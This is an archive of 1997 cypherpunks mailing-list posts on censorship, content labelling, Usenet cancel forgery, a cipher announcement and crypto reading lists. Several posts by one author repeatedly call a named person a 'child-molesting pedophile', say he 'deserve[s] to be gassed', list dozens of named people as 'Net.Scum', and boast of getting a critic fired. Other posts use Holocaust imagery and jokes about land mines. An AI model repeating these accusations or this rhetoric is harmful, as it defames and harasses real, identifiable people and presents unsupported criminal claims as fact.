>  The person I really feel bad for is Tim May. He used to at least be
>able to tell people, "I told you so! Check the archives from my
>previous life, and..."
>  Prophecy loses its luster once _everybody_ can predict the future,
>and things have reached the point where everyone recognizes their
>cues in the march toward the "Tear-Stained Monologue" where, in an
>allegorical way, "The good-guy gets the girl. _I_ wind up dead."

Don't cry for me, Canada.

It was also obvious to me several years ago that things would reach a point
where everyone could see what was coming. The curare of the government has
of course paralyzed many.

Nothing left but the shooting.

(I have been arguing that CFP shut down their pointless conferences...the
same old same old repeated every year. Alas, they are still planning their
big shindig in Austin next year. )

>  Face it, we all know where the cattle-cars are going, but they are
>carrying _other_ people--for now.

However, there is a progress toward an industry-friendly consensus on the
export of IG Farben's products: Farben will receive Most Favored Gasser
status in exchange for assisting with the Legitimate Needs of Law
Enforcement.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Thu, 7 Aug 1997 08:54:41 +0800
To: Jim Burnes <jim.burnes@ssds.com>
Subject: Re: "Voluntary Censorship" vs. Govt Legislation
In-Reply-To: <33E8FE38.476CD40@ssds.com>
Message-ID: <Pine.SOL.3.96.970806191823.1934B-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Wed, 6 Aug 1997, Jim Burnes wrote:
> 
> Actually I have nothing against categorization.
(snip)

Then you have nothing against labelling.
> 
> As far as I'm concerned parents have a moral duty to filter what their
> little ones read, I just don't want the Feds or Microsoft deciding what
> the categories are.
> 
But it's ok for Barnes&Noble and Borders to decide what the categories
are?  And the Motion Picture Association of America? I'd suggest you 
must accept that parents will use whatever tools are available to
help them exercise their "moral duty", and if that means they choose
to let Bill Gates decide what the categories are, so what?

> Like I said -- most people who care about these things don't mind
> if people from their church take the kids to the bookstore.  I assume
> that they trust their values.
> 
Whose values, the churchmembers' or the bookstores'?  Either way, 
"don't mind" is different from "want to".

> On the other hand I don't want a "surgeon general's warning" on
> Lady Chatterly.  I know you think this is voluntary, but eventually
> some parents will get irate over little susie seeing something that
> they thought was inappropriately labeled.  A lawsuit will ensue
> and then voluntary will be a tautology for mandatory.

But you'll accept a categorization of Lady Chat?
> 
> It already is in the tax world.  And that, my friend, is the very
> thing that Orwell spoke of.  Change the language so that love
> means hate, peace means war, good is evil, volutary is mandatory.

There has never been a voluntary tax, that worked. "Tax" and "volunteer"
are mutually exclusive terms.

> As much as I detest censorship I don't have a problem with parents
> deciding what their little kids should look at.  In fact I really like
> the idea of having churches sell their own filtering software.  What
> better way to check your values.

Now you're on to something. What better way to check your church's
values.

> I can't believe the churches haven't thought of this before.  Usually
> they don't miss a beat when it comes to generating funds for, ahem,
> noble causes.

They have, with regard to books, a long time ago. Admittedly, that
list didn't have anything to do with money, however.
> 
> Maybe I'll suggest it.

I don't think you need to:)
MacN





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 7 Aug 1997 08:15:42 +0800
To: cypherpunks@toad.com
Subject: Introduction of MISTY
Message-ID: <v031107a2b00ebd46a251@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


From: =?ISO-2022-JP?B?GyRCNUhJcCEhPV8bKEo=?= <yositake@iss.isl.melco.co.jp>
To: "'set-dev@terisa.com'" <set-dev@terisa.com>,
    "'set-discuss@lists.Commerce.Net'" <set-discuss@lists.Commerce.Net>
Cc: 'atsuhiro' <atsuhiro@iss.isl.melco.co.jp>,
    'etakeda' <etakeda@iss.isl.melco.co.jp>,
    'hirosato' <hirosato@iss.isl.melco.co.jp>,
    'kotaro' <kotaro@iss.isl.melco.co.jp>,
    'saeki' <m-saeki@iss.isl.melco.co.jp>,
    'maekawa' <maekawa@iss.isl.melco.co.jp>
Cc: 'matsui' <matsui@iss.isl.melco.co.jp>,
    'nakawaji' <nakawaji@iss.isl.melco.co.jp>,
    'sakagami' <sakagami@iss.isl.melco.co.jp>,
    'toka' <toka@iss.isl.melco.co.jp>,
    'yositake' <yositake@iss.isl.melco.co.jp>
Subject: Introduction of MISTY
Date: Wed, 6 Aug 1997 10:51:38 +0900
Mime-Version: 1.0
Sender: set-discuss-owner@iss.isl.melco.co.jp
Precedence: bulk

+----------------------------------------------------------------------+
This message was addressed to:  set-discuss@lists.commerce.net
+----------------------------------------------------------------------+

Hello,

For those people who don't know MISTY, which is listed in "Algorithm
independence" of "Input requested for SET version 2.0 priorities",
please let me introduce it to you.

MISTY is a symmetric key cryptographic algorithm and has the following
excellent features:

(1)  Provable Security
    MISTY is mathematically proved to be strong enough against the
  two types of known cryptanalysis attack --- differential cryptanalysis
  and linear cryptanalysis.

(2)  High Performance
    MISTY has a parallel computation nature as an algorithm. So you can
  achieve high performance on both software and hardware. The algorithm
  itself does NOT depend on any special platforms.

You can also get the information about MISTY from the following Web pages.
    http://mitsubishielectric.com/TechShowcase/Text/tsText06.html
    http://www.melco.co.jp:80/rd_home/map/j_s/topics/new/misty_e.html

Please feel free to ask any questions to us. We would be happy to answer
your questions.


Jun Yoshitake

Senior Research Engineer
Information Security Department
Information Technology R & D Center
Mitsubishi Electric Corporation

5-1-1 Ofuna, Kamakura, Kanagawa 247, JAPAN
Phone : +81-467-41-2182,  FAX : +81-467-41-2138
yositake@iss.isl.melco.co.jp

-------------------------------------------------------------------------
This message was sent by a majordomo-based automatic list manager.
Subscriptions to and archives of this list are available to any person
or organization.  For further information send a mail message to
'set-discuss-request@lists.commerce.net' with 'help' (no quotations)
contained in the body of your message.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 7 Aug 1997 08:32:59 +0800
To: cypherpunks@toad.com
Subject: Re: Eternity Uncensorable?
In-Reply-To: <Pine.LNX.3.93.970807015433.102A-100000@shirley>
Message-ID: <37H2ae9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

> On Wed, 6 Aug 1997, Adam Back wrote:
>
> > Mark Grant <mark@unicorn.com> writes:
>
> [...]
>
> > > so all that a government need do to censor a particular site is to
> > > scan for those messages and issue cancels.
>
> > - I understand cancels are ignored a lot of places, due to problems with
> >   censorous people, and pranksters issuing tons of forged cancels.
>
> And alot like to use canceles.  If censorus groups (not neccery the
> goverment) starts canceling we may be able to create a resector like that
> used in news.admin.net-abuse.*

A clarification is in order:

The "resurrector" in news.admin.net-abuse.* is run by none other than
the child-molesting pedophile Chris Lewis.  It does NOT repost
cancelled articles when the author is someone Lewis doesn't like
- such as myself.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 7 Aug 1997 09:23:59 +0800
To: cypherpunks@toad.com
Subject: Re: Forced Censorship vs. Fucking Your Brains Out
In-Reply-To: <199708062340.BAA24470@basement.replay.com>
Message-ID: <uRi2ae11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:
>   Face it, we all know where the cattle-cars are going, but they are
> carrying _other_ people--for now. Child molesters, drug dealers, and
> similar robbing, raping, low-down vermin who shouldn't have any rights,
> anyway.

Yes - child molesting pedophiles like Chris Lewis deserve to be gassed.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 7 Aug 1997 09:56:59 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Old Cryto stuff, (fwd)
Message-ID: <199708070147.UAA06482@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
> Date: Thu, 7 Aug 1997 10:53:04 +1000 (EST)
> Subject: Old Cryto stuff, 

> Can anybody suggest any good books on old cryto techniques ?? I'm finally 
> learning to program, along with the stuff i've got to learn as part of 
> the class i thought i would make a start on learning to code 
> crypotgraphic algorithms. I was after some old ones that are simple to 
> code in software. Unfortuently the one in the back of the Schnier book 
> are a little to complex for my limited programming knowledge so far. 
> 
> So can anybody help or will i just be ignored like i have been at other 
> times ? 

Dover makes several very inexpensive reprints of books that have at least
some historical impact.

Cryptanalysis: a study of ciphers and their solution
Helen Fouche' Gaines
ISBN 0-486-20097-3
$4.50

Some topics include:

transposition                              concealment devices
nihilist transposition                     the turning grille
substitution                               consonant-line short cut
miltiple alphabet                          gronsfelt, porta, & beaufort
kasiski method                             vigenere' decryption
periodic number cyphers

includes several frequency tables and other neat stuff in appendixes


Number Theory and It's History
Oystein Ore
isbn 0-486-65620-9
$9.95

Some topics include:

euclids algorism                           prime numbers
aliquot parts                              indeterminate problems
linear indeterminate                       diophantine equations
congruences                                wilson's theorem
eulers theorem                             converse of fermats theorem

Hope it helps.

                                                 Jim Choate





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 7 Aug 1997 10:07:46 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <19970802124946.15945@math.uiuc.edu>
Message-ID: <4DL2ae16w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim Skirvin <tskirvin@math.uiuc.edu> writes:
> >Yes, there are lots of folks who forge cancels for "inappropriate cross-
> >posts" in the "big 8".
>
> 	Not accepted ones.  They're treated as rogues, and asked to stop
> it, and you know it.

Net.Scum like Chris Lewis, Jan Isley, Tim Brown, Bob Curtis, etc are treated
as rogues by me and my friends and told to stop by me and my friends - and
if they don't stop, we usually get their plugs pulled.  Tim Skirvin defended
net-abuse by Jan Isley, just as he defends the "UDP" against UUNet.

> > Please be advised that all of Tim Skirvin's FAQs are full of lies (except
> > for the parts plagiarized from David Stodolsky :-).
>
> 	Umm, no.

Examples of lies in Tim Skirvin's Magnum Opus, the "Cancel FAQ" (what else):

1.


]What is a Cancelbot?
]
]	A Cancelbot is a program that searches for messages matching a
]certain pattern and sends out cancels for them all.
]
]
]Sounds cool.  Where do I get one?
]
]	If you have to ask, you don't get one.
]
]
]What?  Why not?

My cancelbot has been freely available for over 18 months.  I've pointed
this out repeatedly to Tim Skirvin who continues to provide an answer to
a truly frequently asked question that reflects Skirvin's view of what
the reality should be, rather than the reality.

2.

]What is Dave the Resurrector?
]
]	After a particularly obnoxious run of cancels from ixc.net,
]Chris Lewis decided that it was time to write a program to repost stuff
]that was cancelled on news.admin.net-abuse.misc.  The Resurrector, named
]Dave, was the result.
]
]	The effect of this is that cancels to news.admin.net-abuse.misc
]are not effective unless Chris says so.

It has been pointed out many times that Chris Lewis does NOT repost cancelled
articles when he doesn't like the authors, such as myself.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 7 Aug 1997 11:20:26 +0800
To: freedom-knights@jetcafe.org
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <Pine.LNX.3.93.970803113522.686F-100000@shirley>
Message-ID: <FRm2ae18w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

> On Sat, 2 Aug 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > I'm sorry, I don't see how posting megabytes of noise every day can
> > swamp the content.
>
> You don't recall the poetry feastavil?  What about the sex groups for the
> less popular fetishes?

Can you hurt a person by sticking needles in a doll representing this person?
Possibly, if the person really believes this.

Why do people try to flood newsgroups with shit? (We can agree that some
do try to, whether they succed or not). Most of the time it happens because
some asshole is trying to take ownership of an unmoderated newsgroup and
disses people whom he's trying to silence.  Some of the assholes resort
to forging cancels; most limit their censorship to postmaster complaints,
false accusation of "spamming", and occasional mailbombs.

Examples from the Net.Scum rogue collection: Scott Kellog from Sematech
falsely accuses various people of "spamming" his newsgroup, but hasn't
been caught forging cancels yet.  On the other hand Bob Curtis has taken
over alt.smokers.cigars and forges cancels for articles that merely
question his "ownership" of the newsgroup. Do read - it's very enlightening.

The biologist Garrett Hardin published an essay, _The Tragedy of the Commons_
in _Science_, Dec 13, 1968.  Many misguided people have NOT read the eassay,
but like to cite it.  They argue that according to Hardin, Usenet would be
used more "efficiently" if every newsgroup had an "owner" - a self-appointed
"mediator" (their favorite title - don't know what asshole first came up
with it). They try to assert property rights where they can't be enforced
and succed only in pissing off a lot of people whom they tried to censor.

If you were told that a formerly common meadow is now owned by a self-
appointed asshole who disses you, would you litter on the meadow, shit
and piss on it, and possibly dump toxic radioactive waste on it?  When
the self-appointed "owner" pisses off a lot of people, some of them
will - especially since they can get away with it.

This reminds me of the encosure movement in medieval England that sought
to make the use of common lands more "efficient" by privatizing them -
causing numerous peasants extreme misery.  Read your history.

The good news is that newsgroup floods don't really hurt anyone except
the egos of the assholes who claim to "own' the affected newsgroups.

> > Moreover, if such actions were indeed cause a problem, they would not be
> > eliminated with payments. Some people would be willing to spend money to
> > "flood" the net
>
> Here we aggry, porn4pron and others will still make a proffet from
> spamming.  Infact puting a cost to posting creates a biase aggainst
> unpopulare options and towards spam.  Indeed such a payment system would
> make the problem worce.

I like the idea of encouraging news readers to send e-cash (possibly via
anon remailers) to the posters whose writings they like and would like to
see more of.  This is a generalization of the discussion we had on the
cypherpunks list a few months ago, how companies could send e-cash to
Usenet posters who say good things about their products.

Porn4porn posts A LOT of crap in alt.sex.* and admits that it's crap.
It then asks the readers: instead of wading through our crap for free,
why not pay us to get the prn you're looking for?  And my response is:
why not just killfile the idiots, or why not choose to not select
their crap for reading - it's easily identifiable.

Do you remember all the talk about "intelligent internet agents" who were
supposed to look for stuff we're interested in - like the one that would
learn the user's tastes for music, and suggest more music that he'd
probably like; the one that learned the user's scheduling preferences to
manage his appointment calendar; well, here's an excellent idea for an
AI project for a master's thesis - write an agent that learns what the
user likes to read and finds it on Usenet (irrespective of where it's
posted) and doesn't bother showing the user what he doesn't want to read.

> > Instead of discouraging the behavior you don't like, encourage the
> > behavior you do like.
>
> [Nods]  The good old blow job prinisipul.

Yep. Works great with kids and animals.

> > I invite Adam and David to subscribe to the freedom-knights mailing list
> > (send 'subscribe freedom-knights@jetcafe.org' to majordomo@jetcafe.org)
> > if you want to continue this not-quite-crypto discussion there.
>
> I have attempted to do so in the past,  and will attempt to do so again.

There's some interesting discussion going on there in addition to my xposts.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 7 Aug 1997 11:18:53 +0800
To: freedom-knights@jetcafe.org
Subject: Qualcomm employee attacks the remailers
In-Reply-To: <25455.870651372@zelkova.qualcomm.com>
Message-ID: <w6o2ae20w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Pomes <ppomes@Qualcomm.com> writes:

> |Paul Pomes sends me harrassing e-mail and quotes more obscenities from
> |the anonymous remailers:

such as:

]I take this all to mean that you are Master Cocksucker Dimwit Vulis?

> As you posted the obscenities in the first place I fail to understand your
> objections.


Lie from Pomes: I never in my life sent anything to this motherfucker.

Another lie from Pomes: a few days ago the motherfucker wrote:

]Subject: Re: Entrust Technologies's Solo - free download
]From: Paul Pomes <ppomes@Qualcomm.com>
]Organization: Qualcomm, Inc.
]To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
]Cc: freedom-knights@jetcafe.org
]Date: Wed, 30 Jul 1997 09:13:52 -0700
]Message-Id: <9502.870279232@zelkova.qualcomm.com>
]Sender: ppomes@Qualcomm.com
]
]At 9:22 EDT on Wednesday, July 30, 1997, Dr.Dimitri Vulis KOTM wrote:
]
]|I ask everyone on these two forums to inform Northern Telecom Forgers /
]|Bell North Forgery Research / Entrust that we will boycott their
]|"security" products as long they continue to employ the child-molesting
]|pedophile Chris R. Lewis - the biggest forger on Usenet.
]
]Sorry, I'm afraid that honor belongs to you, Dimi.  What I will do is
]killfile you as also the biggest un-cultured twit on Usenet.  High honors
]of a sort.
]
]/pbp

Clearly Pomes lied about having killfiled me.

Pomes harrasses anonymous remailer operators: he has been complaining to
Jeff Berches's employer and upstream, contributing to his decision
to shut down the cajones remailer:

]To: abuse@hotwired.com, abuse@bbnplanet.net, remailer-admin@cajones.com
]        jeff@hotbox.com, ops@bbnplanet.com, toxic@content.org,
]        dgaudet-djg20@arctic.org
]From: Paul Pomes <ppomes@Qualcomm.com>

Tim Skirvin condones and supports net-abuse by Net.Scum like Pomes,
Hannigan, and Varshavchik.

Please tell Qualcomm what you think about their employee attacking
the anonymous remailers.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 8 Aug 1997 16:18:21 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <Pine.LNX.3.93.970805162629.757B-100000@shirley>
Message-ID: <39q2ae27w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

> On Mon, 4 Aug 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > Pedophile Chris Lewis is a content censor.
>
> I don't think Mr Lewis' algeded activerties with childeren have any
> validity to the argument.  Calling him a 'Pedophile' or any other name is
> not effective in changing my option about this mattor.

"Chris Lewis" is a common name.  "Pedophile Chris Lewis" serves to identify
the content censor who works for Bell North Forgery Research / Northen
Telecom Forgers and uses their facilities to forge Usenet cancels for
articles whose contents he doesn't like.

> >  There are dozens of other examples.
>
> As yet I have seen only the one, could you provide these other examples
> where Chris Lewis has perposly canceled posts that he dosn't like.

David, you're bordering on asciribing to me things I haven't said -
is you reading as bad as your writing?

I said, there were dozens of examples of cancel-forgers who claim to be
cancelling "spam" (i.e. multi-posts), but are in fact cancelling singly posted
articles whose contents they simply didn't like. Pedophile Chris Lewis is one
of many such content censors. Let's count the ones we find at
http://www.netscum.net: 1) Guy Macone 2) Sally Monde, 3) Tim Brown, 4) Bob
Curtis, 5) Sean Eric Fagan, 6) Nat Makarevitch, 7) Michael Horansky, 8) David
Howard, 9) Alex Bulan, 10) "Eric Dynamic", 11) John Milburn, 12) Gabriel
Krabbe, 13) Odd Einar Aurbakken, 14) Alan Reichert, 15) Andreas Kirchwitz, 16)
Dax Hutcheon, 17) James Gardner, 18) Otmar Lendl, 19) Henning Weede, 20) Ian
Goldberg, 21) Gregory Woodbury, 22) Bruce Lane, 23) Otto Makela, 24) Steve
Manes, 25) Rich Sauers, 26) Ralph Valentino, 27) Luis Echeverria, 28) Michael
S. Scheidell, 29) Matthias Scheler, 30) Wolfgang Schelongowski, 31) Dick
Depew, 32) Ed Hew, 33) George Nemeyer, 34) Edward Igoe, 35) Tom Phoenix, 36)
Michael Shields - that's 3 dozen, an there's probably twice as many more
listed on the Net.Scum pages. Check out Sally Monde: the lady claims to be a
heroin junky currently using methadone, she described how her Legal Aid lawyer
got a psychiatrist to convince the court that she's insane, so she's out of
jail and collecting SSI on mental disability - and she's forging cancels for
aricles she considers to be "racist crap". Do you want Sally to decide for you
what you're allowed to read vs. what's the forbodden "racist crap"?

> > > Since Dr Vulis is the newsadmin of that site, the question is quite valid
>
> > I would like to be able to tell
> > the rest of Usenet that these articles are not worth reading,
>
> And if thay should deside the what is not work reading is not worth
> storing?

My telling the readers of the affected newsgroups that an article posted
under my name isn't worth reading (e.g. because the car advertized as
being for sale has already been sold) is not a reason for news admins
(generally, a different group of people) to remove such an article from
their spool and to deprive their users of the ability to read that article
(e.g., to compare the asking prices for cars).  I'm not talking to
admins.  If they abuse my message by using it as a basis to remove
such articles from spool, then I'll be reluctant to issue it.

> > > Frees up diskspace + reducers propragtion.  May be a good thing.
> >
> > A spew spreads to almost all the servers there are in minutes.
>
> It seems to me more in the range of hours or days, esp in the case of
> uucp sites wich don't connect often.

This was the case many years ago.  These days, a spam propagates pretty
much everywhere because the cancels catch up with it.  The claim that
cancels save bandwidth is an outright lie.

> > > > We've got to receive repeated
> > > > blasts of forged cancels ten times the number of the offending posts?
> > >
> > > Ergh?  There is only one cancel per post.
> >
> > Were you around when Ausralia was knocked off the net by the cancels for th
> > Cantor and Siegel "spam"?
>
> There _is_ I'm talking about present tence.  Any anty spammer who dosn't
> follow the convention is going to be stopped or losse there account (eg
> David Richards).

David Richards is the sysop of the Ripco BBS in Chicago. He's been forging
cancels for dozens of articles he considers to be "off-topic" - see his
Net.Scum page at http://www.netscum.net/richard0.html.  He's been doing
this for months and no one's been able to stop him.

Scott Sadow's been forging cancels for months - he hasn't been stopped and
hasn't lost his account (see his Net.Scum page).

> >  Most of the forgers didn't follow the "$alz" convention (giving the
> > forged cancel the message-id "cancel.<original id>".
>
> I would argue that all cancels (not just 3rd party) should follow the
> message id protocol.

I would argue that all cancels should be ignored irrespective of message-id.

> And yes if thay set the reply-to: feild of the message to me I do consider
> it my post and cancelble from me.

To hell with cancels, but you should be able to issue a retraction nocem.

> > How about me posting under my own name or via an anonymous remailer, "Platy
> > is a spammer - complain to his ISP"?
>
> Both uws.edu.au and acmeonnline would know these complants are bogus.

I hope so.  A couple of weeks ago some scumbag posted via a remailer an
annoucement that "vulis@bwalk.dm.com" is responsible for some sort of
net-abuse. This address doesn't exist; nevertheless I received several
postmaster complaints about this address, giving detailed description of
the alleged abuse (junk mail, thousands of usenet articles, etc). One of
the complainers wrote from a work account - I tried to get him fired and
apparently succeeded :-) :-) :-)

> > How about if someone posted your credit card numbers to Usenet?
>
> I don't have a credit card for just that reson.  The creadit card securaty
> system is so fundermently flawed as to be the equiverlent of sticking a
> large sign on your forhead marked "ROB ME"

That's right, except in the U.S. various laws protect the consumer.
(The card issuer gets to eat the losses, and passes the cost to the
consumer whether or not he has a card :-)

Many Cabal supporters cite credit card numbers as the canonical example
of the kind of traffic that must be cancelled on sight. They're idiots.
Once a credit card # has been posted to Usenet, the card must be cancelled
at once to make it unusable. Cancelling the article won't make the number
"safe" again.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 8 Aug 1997 16:18:16 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <Pine.LNX.3.93.970805165910.757C-100000@shirley>
Message-ID: <XsT2ae28w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

> On Mon, 4 Aug 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > I think the extreme aversion to censorship (like that displayed by imp
> > and myself) seldom arises in people who haven't themselves been victims
> > of censorship
>
> Dose threats from a multynatnatil corpration count?  Dose living in
> Austrlia count?

Evidently these haven't made you into a staunch opponent of censorship.
Perhaps if they did succeed in pulling your plug, you'd feel differently.

> > The current top "spam canceller", Rich Bland ("cosmo")
>
> Jem seems to have gotten to the top of the list now.

I haven't been tracking the forgers lately.  For those who don't know
John E. Milburn: he's an expatriate U.S. engineer who used to work in
South Korea and forge cancels from there in a variety of newsgroups
(like alt.religion.monica). I caught him forging a cancel for one of
my articles (for "homophobia" and "excessive cross-posting"). Milburn
lost his job in Korea last year (possibly because of the complaints
about his net-abuse) and announced his "retirement" from forging cancels.
I'm sorry to see this bastard back.

> > I was just pointing out that it's factually incorrect to use
> > "admins" as a synonym for "anti-spammers".
>
> No sane person would suggest that (i.e. lots of peaple on usenet would
> make that suggestion) because if it was true then we wouldn't have the
> problems with agis or uunet.

Tim Skirvin presents these "newbies" with a false view of Usenet as a
unified front of news admins who have all reached consensus that free
speech is evil and are now fighting the evil spammers.

> > Chris Lewis and Dave Barr obth
> > forge cancels for usenet articles that follow up on their articles and quot
> > them, claiming "copyright violations".
>
> This is interesting,  proof please.

Check out Chris Lewis's Net.Scum page at http://www.netscum.net/lewisc0.html.
Find "Edward Gerk" - one of the people who quoted Chris Lewis and whose
articles Chris Lewis canceled for "copyright violations".

Next check out Barr's Net.Scum page at http://www.netscum.net/barrd0.html.
Find "Alain Larouche" - same thing.

> > Once the offending articles are part of the spool on toher site, it's
> > pointless for me to issue cancels.
>
> Not even to free up diskspace?

Correct.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 7 Aug 1997 07:55:04 +0800
To: cypherpunks@toad.com
Subject: Forced Censorship vs. Fucking Your Brains Out
Message-ID: <199708062340.BAA24470@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin wrote:
 Have you ever noticed that there
> are "childrens books" sections in the library? 

  Great place to meet "babes," huh Kent?

> You don't complain about physical segregation of children's books,
> or keeping children out of bars.

  I certainly do. I would locate books in a way such that the children 
would be exposed to a variety of materials, instead of herded into 
playpens according to age and size.
  Also, in areas where children are allowed in bars if they serve food,
or until a certain time of night, the atmosphere tends to be raised 
above just being a place for the parents to drink and get drunk.
  A 14 year-old guitar player named Little Charlie used to play with me
at the Austex Lounge in Austin, and the liquor laws required him to 
leave the bar when the band was not onstage. He spent the breaks out
in the parking lot, smoking dope and screwing his brains out with the
young groupies. (My liver is gone, and his dick fell off. Thanks to
the law, I won.)

> So presumably you wouldn't complain about some technical means of
> creating an analog in cyberspace? 
> If so, then voluntary labelling is not so bad.

  I think that a library-type cataloguing system adapted to the unique
form of the InterNet and WWW could be the greatest thing since sliced
bread. I would love not to have to visit 400 sites to find "hardware"
plumbing instead of "women's" plumbing (and vice-versa). Likewise, I
would rather not waste the bandwidth of myself and others when they
visit my site in error, thinking "arson" has to with fires, and not
with sex.

  The problem is that the words "voluntary" and "requirement" have,
through some weird mutation of DoubleSpeak, become synonyms.
  Hardly anybody even tries to pretend, anymore, that they are not 
planning to trample the constitution and fry anyone that gets in their
way when the ElectroMagnetic Curtain clangs shut.
  Even the Nazi's, in the early days, made some pretense of humanity
when shipping fellow humans to the death camps. "Jaccuzzi? No, I don't
thinks so, sir, but I'm certain there are plans for one. Now, climb
aboard, please." Eventually, the reign of terror reached the point where
it was all clubs and guns, with no need for pretense of humanity.

  When the gun-thievery began in earnest, the thieves still had to lie
in bigger and bigger stages, tearing small, then larger, pieces off the
Constitution at each step of their con game.
  With privacy and freedom, however, we have now reached a stage where
the pretense of democracy is perfunctory, with the fascists who are
rattling the chains standing on the stage behind the speaker as he or 
she assures us that "imprisonment for life will be a _voluntary_ 
requirement."

  The person I really feel bad for is Tim May. He used to at least be
able to tell people, "I told you so! Check the archives from my 
previous life, and..."
  Prophecy loses its luster once _everybody_ can predict the future, 
and things have reached the point where everyone recognizes their
cues in the march toward the "Tear-Stained Monologue" where, in an
allegorical way, "The good-guy gets the girl. _I_ wind up dead."

  Face it, we all know where the cattle-cars are going, but they are
carrying _other_ people--for now. Child molesters, drug dealers, and
similar robbing, raping, low-down vermin who shouldn't have any rights,
anyway.
  Oh, and a lady who put a quarter in a stranger's parking meter. And
a 16 year old kid who shared a joint with a 15 3/4 year old friend. And
a guy who pulled a stink-bomb prank on a government office.
  Oh yes, and an employee at Livermore Labs who pledged allegiance to
the flag every day of his life, escrowed his crypto keys with the 
government even before it was required by law to do so, but forgot about
the PGP 2.1 key on the floppy he's been using to shim up the short-leg
of the couch on the front porch for the last few years.

  What are the major players in the computer and media industries 
planning in their secret meetings about the best way to require you
and I to "volunteer?"
  They are planning to collectively "take one step back," leaving us
("voluntarily") standing in the line of fire.
  When the call to assembly comes, I plan on being the first one to
line up. I think I'll position the line "one step ahead" of the land
mines I plant the night before.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Thu, 7 Aug 1997 04:25:43 +0800
To: cypherpunks@toad.com
Subject: Re: Eternity Uncensorable?
In-Reply-To: <199708061308.OAA02171@server.test.net>
